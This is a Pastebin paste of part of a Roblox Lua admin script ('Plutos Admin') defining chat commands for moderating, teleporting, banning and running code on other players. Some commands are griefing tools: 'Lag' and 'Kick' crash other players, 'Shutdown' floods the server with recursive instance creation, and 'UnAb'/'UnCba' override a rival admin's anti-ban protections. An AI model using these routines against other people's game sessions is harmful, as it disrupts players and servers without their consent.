  1554.         for _,v in pairs(PlrTab) do
  1555.             ypcall(function()
  1556.                 v.Character:BreakJoints()
  1557.                 Ping("Killed "..v.Name, Speaker, 5)
  1558.             end)
  1559.         end
  1560.     end
  1561. end)
  1562.  
  1563. Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
  1564.     local PlrTab = getPlayer(Speaker, Msg)
  1565.     if #PlrTab > 0 then
  1566.         for _,v in pairs(PlrTab) do
  1567.             ypcall(function()
  1568.                 if v.Name ~= Owner then
  1569.                     Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
  1570.                     Ping("Muted "..v.Name, Speaker, 5)
  1571.                 end
  1572.             end)
  1573.         end
  1574.     end
  1575. end)
  1576.  
  1577. Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
  1578.     local PlrTab = getPlayer(Speaker, Msg)
  1579.     if #PlrTab > 0 then
  1580.         for _,v in pairs(PlrTab) do
  1581.             ypcall(function()
  1582.                 Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
  1583.                 Ping("Prompted "..v.Name.." To Rejoin", Speaker, 5)
  1584.             end)
  1585.         end
  1586.     end
  1587. end)
  1588.  
  1589. Command("Jail", 3, "Jails A Player (Only they can see it)", function(Msg, Speaker)
  1590.     local PlrTab = getPlayer(Speaker, Msg)
  1591.     if #PlrTab > 0 then
  1592.         for _,v in pairs(PlrTab) do
  1593.             ypcall(function()
  1594.                 Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
  1595.                 Ping("Mind Jailed "..v.Name, Speaker, 5)
  1596.             end)
  1597.         end
  1598.     end
  1599. end)
  1600.  
  1601. Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
  1602.     local PlrTab = getPlayer(Speaker, Msg)
  1603.     if #PlrTab > 0 then
  1604.         for _,v in pairs(PlrTab) do
  1605.             ypcall(function()
  1606.                 Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
  1607.                 Ping("Lag Crashing "..v.Name, Speaker, 5)
  1608.             end)
  1609.         end
  1610.     end
  1611. end)
  1612.  
  1613. Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
  1614.     local PlrTab = getPlayer(Speaker, Msg)
  1615.     if #PlrTab > 0 then
  1616.         for _,v in pairs(PlrTab) do
  1617.             ypcall(function()
  1618.                 Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  1619.                 Ping("UnMuted "..v.Name, Speaker, 5)
  1620.             end)
  1621.         end
  1622.     end
  1623. end)
  1624.  
  1625. Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
  1626.     local Worked = false
  1627.     for _,v in pairs(Work:GetChildren()) do
  1628.         if string.find(v.Name:lower(), Msg:lower()) then
  1629.             if v:IsA("Script") or v:IsA("LocalScript") then
  1630.                 v.Disabled = true
  1631.                 v:Destroy()
  1632.                 Worked = true
  1633.                 Ping("Disabled Script: "..v.Name, Speaker, 5)
  1634.             end
  1635.         end
  1636.     end
  1637.     if Worked == false then
  1638.         Ping("Script Not Found", Speaker, 5)
  1639.     end
  1640. end)
  1641.  
  1642. Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
  1643.     Dismiss(Speaker)
  1644.     local AllScripts = {}
  1645.     for _,v in pairs(Work:GetChildren()) do
  1646.         if v:IsA("Script") then
  1647.             table.insert(AllScripts, v.Name)
  1648.         end
  1649.     end
  1650.     if #AllScripts > 0 then
  1651.         for _,v in pairs(AllScripts) do
  1652.             Ping(v, Speaker)
  1653.         end
  1654.     else
  1655.         Ping("No Scripts Found", Speaker, 5)
  1656.     end
  1657. end)
  1658.  
  1659. Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
  1660.     Dismiss(Speaker)
  1661.     local LocalScripts = {}
  1662.     for _,v in pairs(All()) do
  1663.         ypcall(function()
  1664.             for _,x in pairs(v.Character:GetChildren()) do
  1665.                 if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1666.                     table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1667.                 end
  1668.             end
  1669.         end)
  1670.         ypcall(function()
  1671.             for _,x in pairs(v.Backpack:GetChildren()) do
  1672.                 if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1673.                     table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1674.                 end
  1675.             end
  1676.         end)
  1677.         ypcall(function()
  1678.             for _,x in pairs(v.PlayerGui:GetChildren()) do
  1679.                 if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1680.                     table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1681.                 end
  1682.             end
  1683.         end)
  1684.     end
  1685.     if #LocalScripts > 0 then
  1686.         for _,v in pairs(LocalScripts) do
  1687.             Ping(v, Speaker)
  1688.         end
  1689.     else
  1690.         Ping("No Local Scripts Found", Speaker, 5)
  1691.     end
  1692. end)
  1693.  
  1694. Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
  1695.     local Split = GetSplit(Msg)
  1696.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1697.     local ScriptName = Msg:sub(Split + 1)
  1698.     local FoundLocal = false
  1699.     for _,name in pairs(PlrTab) do
  1700.         ypcall(function()
  1701.             for _,v in pairs(name.Character:GetChildren()) do
  1702.                 if string.find(v.Name:lower(), ScriptName) then
  1703.                     if v:IsA("Script") or v:IsA("LocalScript") then
  1704.                         v.Disabled = true
  1705.                         v:Destroy()
  1706.                         FoundLocal = true
  1707.                         Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1708.                     end
  1709.                 end
  1710.             end
  1711.         end)
  1712.         ypcall(function()
  1713.             for _,v in pairs(name.Backpack:GetChildren()) do
  1714.                 if string.find(v.Name:lower(), ScriptName) then
  1715.                     if v:IsA("Script") or v:IsA("LocalScript") then
  1716.                         v.Disabled = true
  1717.                         v:Destroy()
  1718.                         FoundLocal = true
  1719.                         Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1720.                     end
  1721.                 end
  1722.             end
  1723.         end)
  1724.         ypcall(function()
  1725.             for _,v in pairs(name.PlayerGui:GetChildren()) do
  1726.                 if string.find(v.Name:lower(), ScriptName) then
  1727.                     if v:IsA("Script") or v:IsA("LocalScript") then
  1728.                         v.Disabled = true
  1729.                         v:Destroy()
  1730.                         FoundLocal = true
  1731.                         Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1732.                     end
  1733.                 end
  1734.             end
  1735.         end)
  1736.         if FoundLocal == false then
  1737.             Ping("Local Script Not Found", Speaker, 5)
  1738.         end
  1739.     end
  1740. end)
  1741.  
  1742. Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
  1743.     for _,v in pairs(game:GetChildren()) do
  1744.         ypcall(function()
  1745.             if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
  1746.                 for _,a in pairs(v:GetChildren()) do
  1747.                     ypcall(function()
  1748.                         a:Destroy()
  1749.                     end)
  1750.                 end
  1751.             elseif v.Name == "Players" then
  1752.                 for _,plr in pairs(v:GetPlayers()) do
  1753.                     Clear(plr)
  1754.                 end
  1755.             end
  1756.         end)
  1757.     end
  1758.     Clean()
  1759.     Fixl()
  1760.     Ping("Fully Cleaned", Speaker, 5)
  1761. end)
  1762.  
  1763. Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
  1764.     LClean()
  1765.     Fixl()
  1766.     Ping("Lightly Cleaned", Speaker, 5)
  1767. end)
  1768.  
  1769. Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
  1770.     local PlrTab = getPlayer(Speaker, Msg)
  1771.     if #PlrTab > 0 then
  1772.         for _,v in pairs(PlrTab) do
  1773.             ypcall(function()
  1774.                 v:LoadCharacter()
  1775.                 Ping("Reset "..v.Name, Speaker, 5)
  1776.             end)
  1777.         end
  1778.     end
  1779. end)
  1780.  
  1781. Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
  1782.     repeat wait() until Speaker.Character:findFirstChild("Torso")
  1783.     if Work:findFirstChild("Base") then
  1784.         Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
  1785.     else
  1786.         Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
  1787.     end
  1788.     Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
  1789. end)
  1790.  
  1791. Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
  1792.     local PlrTab = getPlayer(Speaker, Msg)
  1793.     if #PlrTab > 0 then
  1794.         for _,v in pairs(PlrTab) do
  1795.             ypcall(function()
  1796.                 v.Character.Torso.Anchored = true
  1797.                 Ping("Froze "..v.Name, Speaker, 5)
  1798.             end)
  1799.         end
  1800.     end
  1801. end)
  1802.  
  1803. Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
  1804.     local PlrTab = getPlayer(Speaker, Msg)
  1805.     if #PlrTab > 0 then
  1806.         for _,v in pairs(PlrTab) do
  1807.             ypcall(function()
  1808.                 for _,v2 in pairs(v.Character:GetChildren()) do
  1809.                     ypcall(function()
  1810.                         v.Anchored = false
  1811.                     end)
  1812.                 end
  1813.                 Ping("Thawed "..v.Name, Speaker, 5)
  1814.             end)
  1815.         end
  1816.     end
  1817. end)
  1818.  
  1819. Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
  1820.     local PlrTab = getPlayer(Speaker, Msg)
  1821.     if #PlrTab > 0 then
  1822.         for _,v in pairs(PlrTab) do
  1823.             ypcall(function()
  1824.                 Instance.new("ForceField", v.Character)
  1825.             end)
  1826.         end
  1827.     end
  1828. end)
  1829.  
  1830. Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
  1831.     local PlrTab = getPlayer(Speaker, Msg)
  1832.     if #PlrTab > 0 then
  1833.         for _,v in pairs(PlrTab) do
  1834.             ypcall(function()
  1835.                 RemObj(v.Character, "ForceField")
  1836.             end)
  1837.         end
  1838.     end
  1839. end)
  1840.  
  1841. Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
  1842.     local Split = GetSplit(Msg)
  1843.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1844.     local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
  1845.     if #PlrTab > 0 and #PlrTab2 > 0 then
  1846.         for i,v in pairs(PlrTab) do
  1847.             ypcall(function()
  1848.                 for _,v2 in pairs(PlrTab2) do
  1849.                     ypcall(function()
  1850.                         v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
  1851.                         Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
  1852.                     end)
  1853.                 end
  1854.             end)
  1855.         end
  1856.     end
  1857. end)
  1858.  
  1859. Command("Explorer", 3, "Opens An Object Explorer", function(Msg, Speaker)
  1860.     MakeExplorer(Speaker)
  1861. end)
  1862.  
  1863. Command("Info", 0, "Shows Information About DVF", function(Msg, Speaker)
  1864.     wait()
  1865.     Dismiss(Speaker)
  1866.     NumBanned = 0
  1867.     NumCmds = 0
  1868.     for i = 1, #Rankings do
  1869.         if Rankings[i].Rank < 0 then
  1870.             NumBanned = NumBanned + 1
  1871.         end
  1872.     end
  1873.     for i,v in pairs(Commands) do
  1874.         NumCmds = NumCmds + 1
  1875.     end
  1876.     Ping("Admin Name: chucky4523", Speaker)
  1877.     Ping("~Plutos~ Admin Created By: chucky4523", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("3254ykcuhc"))
  1878.     Ping("Date Started: 18th May 2013", Speaker)
  1879.     Ping("Your ID: "..Speaker.userId, Speaker)
  1880.     Ping("Total Number Of Players: "..#All2(), Speaker)
  1881.     Ping("Total Number Of Commands: "..NumCmds, Speaker)
  1882.     Ping("Total Number Of Banned Players: "..NumBanned, Speaker)
  1883.     Ping("ShowGarbage", Speaker)
  1884. end)
  1885.  
  1886. Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
  1887.     Dismiss(Speaker)
  1888.     for i,v in pairs(All()) do
  1889.         Ping(v.Name.."'s Rank: "..FindRank(v))
  1890.     end
  1891. end)
  1892.  
  1893. Command("WS", 2, "Set A Player's WalkSpeed", function(Msg, Speaker)
  1894.     local Split = GetSplit(Msg)
  1895.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1896.     local Speed = tonumber(Msg:sub(Split + 1))
  1897.     for _,v in pairs(PlrTab) do
  1898.         ypcall(function()
  1899.             v.Character.Humanoid.WalkSpeed = Speed
  1900.             Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
  1901.         end)
  1902.     end
  1903. end)
  1904.  
  1905. Command("UnAb", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
  1906.     local RemoveAB = Instance.new("StringValue")
  1907.     RemoveAB.Name = "CBA Attachment"
  1908.     RemoveAB.Value = [[CBA.override=true;]]
  1909.     RemoveAB.Parent = Work
  1910.     Ping("Removed All CBA Anti-Bans", Speaker, 5)
  1911. end)
  1912.  
  1913. Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
  1914.     Dismiss(Speaker)
  1915.     for i,v in pairs(Injected) do
  1916.         Ping(i, Speaker)
  1917.     end
  1918. end)
  1919.  
  1920. Command("UnCba", 3, "Removes CBA Admin", function(Msg, Speaker)
  1921.     local RemoveCBA = Instance.new("StringValue")
  1922.     RemoveCBA.Name = "CBA Attachment"
  1923.     RemoveCBA.Value = [[CBA.remove = false]]
  1924.     RemoveCBA.Parent = Work
  1925.     Ping("Removed All CBA Admins", Speaker, 5)
  1926. end)
  1927.  
  1928. Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
  1929.     local function BufferOverflow(object)
  1930.         object.DescendantAdded:connect(BufferOverflow)
  1931.         Instance.new("IntValue", object)
  1932.     end
  1933.     BufferOverflow(Game)
  1934. end)
  1935.  
  1936. Command("Kick", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
  1937.     local PlrTab = getPlayer(Speaker, Msg)
  1938.     if #PlrTab > 0 then
  1939.         for _,v in pairs(PlrTab) do
  1940.             ypcall(function()
  1941.                 Crash1(v)
  1942.                 Ping("Crash Kicked "..v.Name, Speaker, 5)
  1943.             end)
  1944.         end
  1945.     end
  1946. end)
  1947.  
  1948. Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
  1949.     local PlrTab = getPlayer(Speaker, Msg)
  1950.     if #PlrTab > 0 then
  1951.         for _,v in pairs(PlrTab) do
  1952.             ypcall(function()
  1953.                 ChangeRank(v, -1)
  1954.             end)
  1955.         end
  1956.     end
  1957. end)
  1958.  
  1959. Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
  1960.     local PlrTab = getPlayer(Speaker, Msg)
  1961.     if #PlrTab > 0 then
  1962.         for _,v in pairs(PlrTab) do
  1963.             ypcall(function()
  1964.                 ChangeRank(v, -2)
  1965.             end)
  1966.         end
  1967.     end
  1968. end)
  1969.  
  1970. Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
  1971.     local PlrTab = getPlayer(Speaker, Msg)
  1972.     if #PlrTab > 0 then
  1973.         for _,v in pairs(PlrTab) do
  1974.             ypcall(function()
  1975.                 ChangeRank(v, -3)
  1976.             end)
  1977.         end
  1978.     end
  1979. end)
  1980.  
  1981. Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
  1982.     ypcall(function()
  1983.         local PlrTab = getPlayer(Speaker, Msg)
  1984.         if #PlrTab > 0 then
  1985.             for _,v in pairs(PlrTab) do
  1986.                 ypcall(function()
  1987.                     Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  1988.                 end)
  1989.             end
  1990.         end
  1991.         local PlrName = ChangeRank(Msg, 0)
  1992.         Ping("Un-Banned "..PlrName, Speaker, 5)
  1993.     end)
  1994. end)
  1995.  
  1996. Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
  1997.     Dismiss(Speaker)
  1998.     Ping("Commands", Speaker, nil, function()
  1999.         Dismiss(Speaker.Name)
  2000.         Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  2001.         Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  2002.         Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  2003.         Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  2004.         Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  2005.         Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  2006.         Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  2007.         Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  2008.     end)
  2009.     Ping("Players", Speaker, nil, function()
  2010.         ListPlayers(Speaker)
  2011.     end)
  2012. end)
  2013.  
  2014. Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
  2015.     ListPlayers(Speaker)
  2016. end)
  2017.  
  2018. Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
  2019.     local Func,Error = loadstring(Msg)
  2020.     getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
  2021.     getfenv(Func).Speaker = Speaker
  2022.     if Error == nil then
  2023.         coroutine.wrap(function()
  2024.             Func()
  2025.         end)()
  2026.         Ping("Executed Script!", Speaker, 5)
  2027.     else
  2028.         Ping(Error, Speaker, 10)
  2029.     end
  2030. end)
  2031.  
  2032. Command("Insert", 5, "Inserts A Local Script Into A Player", function(Msg, Speaker)
  2033.     if LS ~= nil then
  2034.         local Split = GetSplit(Msg)
  2035.         local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2036.         local LocalSource = Msg:sub(Split + 1)
  2037.         if #PlrTab > 0 then
  2038.             for _,v in pairs(PlrTab) do
  2039.                 local Inserted = LS:Clone()
  2040.                 Inserted.Disabled = true
  2041.                 Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
  2042.                 if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
  2043.                     Inserted:findFirstChild(OwnSource).Value = v.Name
  2044.                 end
  2045.                 Inserted[LSSource].Value = LocalSource
  2046.                 Inserted.Disabled = false
  2047.             end
  2048.         end
  2049.     else
  2050.         Ping("ERROR: Local Script Not Found", Speaker, 5)
  2051.     end
  2052. end)
  2053.  
  2054. Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
  2055.     Msg = tostring(Msg)
  2056.     Ping(Msg, Speaker)
  2057. end)
  2058.  
  2059. Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
  2060.     Dismiss(Speaker)
  2061.     for i,v in pairs(getfenv(1)) do
  2062.         ypcall(function()
  2063.             Ping(tostring(i)..": "..tostring(v), Speaker)
  2064.         end)
  2065.     end
  2066. end)
  2067.  
  2068. Command("Remove", 5, "Removes The Admin", function(Msg, Speaker)
  2069.     Dismiss()
  2070.     Removed = true
  2071.     for i,v in pairs(getfenv(1)) do
  2072.         getfenv(1)[i] = nil
  2073.     end
  2074.     script.Disabled = true
  2075. end)
  2076.  
  2077. Command("SRank", 5, "Ranks A Player", function(Msg, Speaker)
  2078.     local Split = GetSplit(Msg)
  2079.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2080.     local Rank = tonumber(Msg:sub(Split + 1))
  2081.     if #PlrTab > 0 then
  2082.         for _,v in pairs(PlrTab) do
  2083.             if v.Name ~= Owner then
  2084.                 ChangeRank(v, Rank)
  2085.                 Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
  2086.             end
  2087.         end
  2088.     end
  2089. end)
  2090.  
  2091. --This Admin (DVM) Was Created By chucky4523 (Creator of ~Plutos Admin~).
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!